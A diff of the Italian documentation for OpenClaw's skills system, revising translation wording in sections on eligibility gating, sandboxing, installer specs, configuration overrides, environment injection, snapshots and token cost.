Se non è presente `metadata.openclaw`, la skill è sempre idonea (a meno che -sia disabilitata nella configurazione o bloccata da `skills.allowBundled` per le skill incluse). +non sia disabilitata nella configurazione o bloccata da `skills.allowBundled` per le skill in bundle). I blocchi legacy `metadata.clawdbot` sono ancora accettati quando -`metadata.openclaw` è assente, così le skill installate più vecchie mantengono i propri -gate di dipendenza e suggerimenti per l'installer. Le skill nuove e aggiornate devono usare +`metadata.openclaw` è assente, così le skill installate più vecchie mantengono +i gate delle dipendenze e i suggerimenti dell’installer. Le skill nuove e aggiornate devono usare `metadata.openclaw`. ### Note sul sandboxing -- `requires.bins` viene controllato sull'**host** al momento del caricamento della skill. -- Se un agente è in sandbox, il binario deve esistere anche **dentro il container**. Installalo tramite `agents.defaults.sandbox.docker.setupCommand` (o un'immagine personalizzata). `setupCommand` viene eseguito una volta dopo la creazione del container. Le installazioni di pacchetti richiedono anche uscita di rete, un file system radice scrivibile e un utente root nella sandbox. -- Esempio: la skill `summarize` (`skills/summarize/SKILL.md`) ha bisogno della CLI `summarize` nel container sandbox per essere eseguita lì. +- `requires.bins` viene controllato sull’**host** al momento del caricamento della skill. +- Se un agente è in sandbox, il binario deve esistere anche **all’interno del container**. Installalo tramite `agents.defaults.sandbox.docker.setupCommand` (o un’immagine personalizzata). `setupCommand` viene eseguito una volta dopo la creazione del container. Le installazioni di pacchetti richiedono anche egress di rete, un file system root scrivibile e un utente root nella sandbox. +- Esempio: la skill `summarize` (`skills/summarize/SKILL.md`) richiede la CLI `summarize` nel container sandbox per essere eseguita lì. ### Specifiche installer @@ -289,25 +271,25 @@ metadata: ``` - - - Se sono elencati più installer, il gateway sceglie una singola opzione preferita (brew quando disponibile, altrimenti node). - - Se tutti gli installer sono `download`, OpenClaw elenca ogni voce così puoi vedere gli artefatti disponibili. - - Le specifiche dell'installer possono includere `os: ["darwin"|"linux"|"win32"]` per filtrare le opzioni per piattaforma. - - Le installazioni Node rispettano `skills.install.nodeManager` in `openclaw.json` (predefinito: npm; opzioni: npm/pnpm/yarn/bun). Questo influisce solo sulle installazioni degli skill; il runtime Gateway dovrebbe comunque essere Node: Bun non è consigliato per WhatsApp/Telegram. - - La selezione dell'installer basata su Gateway è guidata dalle preferenze: quando le specifiche di installazione combinano tipi diversi, OpenClaw preferisce Homebrew quando `skills.install.preferBrew` è abilitato e `brew` esiste, poi `uv`, poi il gestore node configurato, poi altri fallback come `go` o `download`. - - Se ogni specifica di installazione è `download`, OpenClaw mostra tutte le opzioni di download invece di ridurle a un unico installer preferito. + + - Se sono elencati più programmi di installazione, il Gateway sceglie una singola opzione preferita (brew quando disponibile, altrimenti node). + - Se tutti i programmi di installazione sono `download`, OpenClaw elenca ogni voce così puoi vedere gli artefatti disponibili. + - Le specifiche del programma di installazione possono includere `os: ["darwin"|"linux"|"win32"]` per filtrare le opzioni per piattaforma. + - Le installazioni Node rispettano `skills.install.nodeManager` in `openclaw.json` (predefinito: npm; opzioni: npm/pnpm/yarn/bun). Questo influisce solo sulle installazioni delle skill; il runtime del Gateway deve comunque essere Node: Bun non è consigliato per WhatsApp/Telegram. + - La selezione del programma di installazione supportata dal Gateway è guidata dalle preferenze: quando le specifiche di installazione combinano tipi diversi, OpenClaw preferisce Homebrew quando `skills.install.preferBrew` è abilitato e `brew` esiste, poi `uv`, poi il gestore node configurato, poi altri fallback come `go` o `download`. + - Se ogni specifica di installazione è `download`, OpenClaw espone tutte le opzioni di download invece di ridurle a un solo programma di installazione preferito. - - - **Installazioni Go:** se `go` manca e `brew` è disponibile, il gateway installa prima Go tramite Homebrew e imposta `GOBIN` sul `bin` di Homebrew quando possibile. - - **Installazioni download:** `url` (obbligatorio), `archive` (`tar.gz` | `tar.bz2` | `zip`), `extract` (predefinito: automatico quando viene rilevato un archivio), `stripComponents`, `targetDir` (predefinito: `~/.openclaw/tools/`). + + - **Installazioni Go:** se `go` manca e `brew` è disponibile, il Gateway installa prima Go tramite Homebrew e imposta `GOBIN` sul `bin` di Homebrew quando possibile. + - **Installazioni tramite download:** `url` (obbligatorio), `archive` (`tar.gz` | `tar.bz2` | `zip`), `extract` (predefinito: automatico quando viene rilevato un archivio), `stripComponents`, `targetDir` (predefinito: `~/.openclaw/tools/`). -## Override della configurazione +## Override di configurazione -Gli skill inclusi e gestiti possono essere attivati/disattivati e forniti con valori env +Le skill incluse e gestite possono essere abilitate o disabilitate e fornite con valori env sotto `skills.entries` in `~/.openclaw/openclaw.json`: ```json5 @@ -333,77 +315,78 @@ sotto `skills.entries` in `~/.openclaw/openclaw.json`: ``` - `false` disabilita lo skill anche se è incluso o installato. - Lo skill incluso `coding-agent` è opt-in: imposta - `skills.entries.coding-agent.enabled: true` prima di esporlo agli agenti, + `false` disabilita la skill anche se è inclusa o installata. + La skill inclusa `coding-agent` è opt-in: imposta + `skills.entries.coding-agent.enabled: true` prima di esporla agli agenti, poi assicurati che uno tra `claude`, `codex`, `opencode` o `pi` sia installato e autenticato per la propria CLI. - Comodità per gli skill che dichiarano `metadata.openclaw.primaryEnv`. Supporta testo in chiaro o SecretRef. + Scorciatoia per le skill che dichiarano `metadata.openclaw.primaryEnv`. Supporta testo in chiaro o SecretRef. Iniettato solo se la variabile non è già impostata nel processo. - Contenitore opzionale per campi personalizzati per singolo skill. Le chiavi personalizzate devono stare qui. + Contenitore opzionale per campi personalizzati per singola skill. Le chiavi personalizzate devono stare qui. - Allowlist opzionale solo per gli skill **inclusi**. Se impostata, sono idonei solo gli skill inclusi nell'elenco (gli skill gestiti/workspace non sono interessati). + Allowlist opzionale solo per le skill **incluse**. Se impostata, solo le skill incluse nell'elenco sono idonee (skill gestite/workspace non interessate). -Se il nome dello skill contiene trattini, racchiudi la chiave tra virgolette (JSON5 consente chiavi -tra virgolette). Le chiavi di configurazione corrispondono al **nome dello skill** per impostazione predefinita: se uno skill +Se il nome della skill contiene trattini, racchiudi la chiave tra virgolette (JSON5 consente chiavi +tra virgolette). Le chiavi di configurazione corrispondono al **nome della skill** per impostazione predefinita: se una skill definisce `metadata.openclaw.skillKey`, usa quella chiave sotto `skills.entries`. Per la generazione/modifica di immagini stock dentro OpenClaw, usa lo strumento core `image_generate` con `agents.defaults.imageGenerationModel` invece -di uno skill incluso. Gli esempi di skill qui sono per workflow personalizzati o di terze parti. Per l'analisi nativa delle immagini usa lo strumento `image` con +di una skill inclusa. Gli esempi di skill qui sono per flussi di lavoro personalizzati o di terze parti. +Per l'analisi nativa delle immagini usa lo strumento `image` con `agents.defaults.imageModel`. Se scegli `openai/*`, `google/*`, -`fal/*` o un altro modello di immagine specifico del provider, aggiungi anche la chiave +`fal/*` o un altro modello di immagine specifico di un provider, aggiungi anche la chiave auth/API di quel provider. ## Iniezione dell'ambiente -Quando si avvia un'esecuzione dell'agente, OpenClaw: +Quando parte un'esecuzione dell'agente, OpenClaw: -1. Legge i metadati dello skill. +1. Legge i metadati delle skill. 2. Applica `skills.entries..env` e `skills.entries..apiKey` a `process.env`. -3. Costruisce il prompt di sistema con gli skill **idonei**. -4. Ripristina l'ambiente originale al termine dell'esecuzione. +3. Costruisce il prompt di sistema con le skill **idonee**. +4. Ripristina l'ambiente originale dopo la fine dell'esecuzione. L'iniezione dell'ambiente è **limitata all'esecuzione dell'agente**, non è un ambiente -shell globale. +di shell globale. -Per il backend incluso `claude-cli`, OpenClaw materializza anche lo stesso +Per il backend `claude-cli` incluso, OpenClaw materializza anche lo stesso snapshot idoneo come Plugin temporaneo di Claude Code e lo passa con -`--plugin-dir`. Claude Code può quindi usare il proprio resolver nativo degli skill mentre -OpenClaw mantiene comunque la precedenza, le allowlist per agente, il gating e -l'iniezione di chiavi env/API `skills.entries.*`. Gli altri backend CLI usano solo il +`--plugin-dir`. Claude Code può quindi usare il proprio risolutore nativo di skill mentre +OpenClaw mantiene comunque precedenza, allowlist per agente, gating e +iniezione di chiavi env/API `skills.entries.*`. Gli altri backend CLI usano solo il catalogo del prompt. ## Snapshot e aggiornamento -OpenClaw crea snapshot degli skill idonei **quando inizia una sessione** e -riutilizza tale elenco per i turni successivi nella stessa sessione. Le modifiche a -skill o configurazione hanno effetto nella successiva nuova sessione. +OpenClaw acquisisce snapshot delle skill idonee **quando una sessione inizia** e +riusa quell'elenco per i turni successivi nella stessa sessione. Le modifiche a +skill o configurazione hanno effetto alla successiva nuova sessione. -Gli Skills possono aggiornarsi a metà sessione in due casi: +Le skill possono aggiornarsi a metà sessione in due casi: -- Il watcher degli Skills è abilitato. -- Appare un nuovo nodo remoto idoneo. +- Il watcher delle skill è abilitato. +- Compare un nuovo nodo remoto idoneo. Consideralo un **hot reload**: l'elenco aggiornato viene acquisito al -turno successivo dell'agente. Se l'allowlist effettiva degli skill dell'agente cambia per quella -sessione, OpenClaw aggiorna lo snapshot così gli skill visibili restano allineati +turno successivo dell'agente. Se l'allowlist effettiva delle skill dell'agente cambia per quella +sessione, OpenClaw aggiorna lo snapshot così le skill visibili restano allineate con l'agente corrente. -### Watcher degli Skills +### Watcher delle skill -Per impostazione predefinita, OpenClaw osserva le cartelle degli skill e incrementa lo snapshot degli skill -quando i file `SKILL.md` cambiano. Configura sotto `skills.load`: +Per impostazione predefinita, OpenClaw osserva le cartelle delle skill e incrementa lo snapshot delle skill +quando cambiano i file `SKILL.md`. Configura sotto `skills.load`: ```json5 { @@ -416,28 +399,28 @@ quando i file `SKILL.md` cambiano. Configura sotto `skills.load`: } ``` -### Nodi macOS remoti (gateway Linux) +### Nodi macOS remoti (Gateway Linux) Se il Gateway viene eseguito su Linux ma è connesso un **nodo macOS** con `system.run` consentito (sicurezza delle approvazioni Exec non impostata su `deny`), -OpenClaw può considerare idonei gli skill solo macOS quando i binari richiesti -sono presenti su quel nodo. L'agente dovrebbe eseguire quegli skill +OpenClaw può considerare idonee le skill solo macOS quando i binari richiesti +sono presenti su quel nodo. L'agente deve eseguire quelle skill tramite lo strumento `exec` con `host=node`. -Questo si basa sul fatto che il nodo segnali il proprio supporto ai comandi e su una verifica dei binari +Questo si basa sul fatto che il nodo segnali il proprio supporto dei comandi e su una sonda binaria tramite `system.which` o `system.run`. I nodi offline **non** rendono -visibili gli skill solo remoti. Se un nodo connesso smette di rispondere alle verifiche dei binari, -OpenClaw cancella le corrispondenze dei binari in cache così gli agenti non vedono più -skill che al momento non possono essere eseguiti lì. +visibili le skill solo remote. Se un nodo connesso smette di rispondere alle sonde +bin, OpenClaw cancella le corrispondenze bin memorizzate nella cache così gli agenti non vedono più +skill che al momento non possono essere eseguite lì. ## Impatto sui token -Quando gli skill sono idonei, OpenClaw inietta un elenco XML compatto degli skill disponibili +Quando le skill sono idonee, OpenClaw inietta un elenco XML compatto delle skill disponibili nel prompt di sistema (tramite `formatSkillsForPrompt` in `pi-coding-agent`). Il costo è deterministico: -- **Overhead di base** (solo quando ≥1 skill): 195 caratteri. -- **Per skill:** 97 caratteri + la lunghezza dei valori XML con escape ``, `` e ``. +- **Overhead di base** (solo quando c'è ≥1 skill): 195 caratteri. +- **Per skill:** 97 caratteri + la lunghezza dei valori XML con escaping ``, `` e ``. Formula (caratteri): @@ -445,29 +428,29 @@ Formula (caratteri): total = 195 + Σ (97 + len(name_escaped) + len(description_escaped) + len(location_escaped)) ``` -L'escape XML espande `& < > " '` in entità (`&`, `<`, ecc.), -aumentando la lunghezza. I conteggi dei token variano in base al tokenizer del modello. Una stima approssimativa -in stile OpenAI è ~4 caratteri/token, quindi **97 caratteri ≈ 24 token** per +L'escaping XML espande `& < > " '` in entità (`&`, `<`, ecc.), +aumentando la lunghezza. I conteggi dei token variano in base al tokenizer del modello. Una stima +approssimativa in stile OpenAI è ~4 caratteri/token, quindi **97 caratteri ≈ 24 token** per skill più le lunghezze effettive dei campi. -## Ciclo di vita degli skill gestiti +## Ciclo di vita delle skill gestite -OpenClaw distribuisce un set di base di skill come **skill inclusi** con +OpenClaw distribuisce un set di base di skill come **skill incluse** con l'installazione (pacchetto npm o OpenClaw.app). `~/.openclaw/skills` esiste per -override locali, ad esempio per fissare o applicare patch a uno skill senza -modificare la copia inclusa. Gli skill del workspace sono di proprietà dell'utente e prevalgono -su entrambi in caso di conflitti di nome. +override locali, per esempio per fissare una versione o applicare patch a una skill senza +modificare la copia inclusa. Le skill del workspace sono di proprietà dell'utente e hanno precedenza +su entrambe in caso di conflitti di nome. -## Cerchi altri skill? +## Cerchi altre skill? -Esplora [https://clawhub.ai](https://clawhub.ai). Schema di configurazione -completo: [Configurazione Skills](/it/tools/skills-config). +Sfoglia [https://clawhub.ai](https://clawhub.ai). Schema di configurazione completo: +[Configurazione delle skill](/it/tools/skills-config). ## Correlati -- [ClawHub](/it/tools/clawhub) — registro pubblico degli skill -- [Creazione di skill](/it/tools/creating-skills) — creazione di skill personalizzati -- [Plugin](/it/tools/plugin) — panoramica del sistema Plugin +- [ClawHub](/it/tools/clawhub) — registro pubblico delle skill +- [Creare skill](/it/tools/creating-skills) — costruire skill personalizzate +- [Plugin](/it/tools/plugin) — panoramica del sistema di Plugin - [Plugin Skill Workshop](/it/plugins/skill-workshop) — genera skill dal lavoro dell'agente -- [Configurazione Skills](/it/tools/skills-config) — riferimento della configurazione degli skill +- [Configurazione delle skill](/it/tools/skills-config) — riferimento della configurazione delle skill - [Comandi slash](/it/tools/slash-commands) — tutti i comandi slash disponibili